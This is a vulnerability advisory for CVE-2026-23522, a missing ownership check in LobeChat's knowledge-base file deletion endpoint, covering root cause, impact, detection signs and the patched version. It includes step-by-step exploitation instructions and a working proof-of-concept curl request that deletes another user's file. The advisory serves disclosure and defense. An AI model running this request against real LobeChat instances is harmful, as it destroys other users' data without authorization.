CVE-2026-23522: 
JavaScript vulnerability analysis and mitigation

CVE-2026-23522 is an Insecure Direct Object Reference (IDOR) vulnerability in LobeChat, an open-source AI chat application platform, that allows authenticated users to delete knowledge base (KB) files belonging to other users without ownership verification. The flaw affects all versions of the @lobehub/chat npm package up to and including v2.0.0-next.192 (stable branch: <= 1.143.2). It was published on January 19, 2026, with a patch released the same day. The vulnerability carries a CVSS v3.1 base score of 3.7 (Low) (GitHub Advisory, Feedly).

The root cause is a missing authorization check (CWE-862 / CWE-284 / CWE-639) in the knowledgeBase.removeFilesFromKnowledgeBase tRPC endpoint. Specifically, the userId filter in the database DELETE query was commented out in packages/database/src/models/knowledgeBase.ts, meaning the query only filtered by knowledgeBaseId and fileId — without verifying that the requesting user owns the target knowledge base or files. An authenticated attacker can exploit this by sending a crafted HTTP POST request to /trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1 with a victim's KB ID and file ID, using their own valid session token. The fix (commit 2c1762b) re-enables the eq(knowledgeBaseFiles.userId, this.userId) condition in the WHERE clause (GitHub Advisory, Patch Commit).

A successful exploit allows an authenticated attacker to permanently delete files from any other user's knowledge base, causing irreversible data loss of potentially proprietary documents and AI training data. This directly disrupts RAG (Retrieval-Augmented Generation) and AI functionality that depends on those knowledge base files. There is no confidentiality impact (files are deleted, not read), and no availability impact beyond the targeted user's KB content (GitHub Advisory).

A public proof-of-concept (PoC) curl command is included in the official GitHub Security Advisory, demonstrating exploitation with only a valid attacker session token and the victim's KB ID and file ID. No exploit kits or in-the-wild exploitation have been reported. The EPSS score is approximately 0.066% (20th percentile), and the vulnerability is not listed in the CISA KEV catalog. Practical exploitation is constrained by the need to know the victim's randomly generated KB ID and file ID, which may leak via shared links, HTTP referrer headers, or application logs (GitHub Advisory, Feedly).

1. Obtain a valid session token: Authenticate to the target LobeChat instance as any registered user to obtain a valid __Secure-better-auth.session_token cookie value.
2. Discover victim KB ID and file ID: Obtain the target user's knowledge base ID (e.g., kb_tuLBfskdDN1r) and file ID (e.g., file_v5wCNLqSaoPp) through shared links, application logs, HTTP referrer headers, or other information leakage channels.
3. Craft the malicious tRPC request: Construct a POST request to the vulnerable endpoint:

ATTACKER_TOKEN="<your_session_token>"
VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"
curl -X POST "https://<target>/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" \
  -H "Content-Type: application/json" \
  -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" \
  -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'  

4. Confirm deletion: A successful response returns {"result":{"data":{"json":{"command":"DELETE","rowCount":1,...}}}}, confirming the victim's file has been deleted without any ownership check (GitHub Advisory).

• Network: Unexpected POST requests to /trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1 originating from users who do not own the referenced knowledge base ID; requests where the knowledgeBaseId in the payload does not match any KB owned by the authenticated user.
• Logs: Application or access logs showing DELETE operations on knowledgeBaseFiles table rows where the userId does not match the knowledgeBaseId owner; repeated deletion requests from a single user targeting multiple different KB IDs.
• Application Behavior: Users reporting unexpected disappearance of files from their knowledge bases; RAG/AI queries returning degraded or empty results due to missing indexed files (GitHub Advisory).

Users should upgrade to LobeChat version 2.0.0-next.193 or later (npm package @lobehub/chat), which re-enables the userId ownership check in the removeFilesFromKnowledgeBase database query. No configuration-based workaround is available for unpatched versions; the only effective remediation is upgrading. The fix was committed in commit 2c1762b and published on January 19, 2026 (GitHub Advisory, Patch Commit).

The vulnerability was reported by security researcher DenizParlak and published by LobeChat maintainer arvinxx via GitHub Security Advisory on January 19, 2026. No significant broader media coverage or notable community commentary beyond the advisory itself has been identified (GitHub Advisory).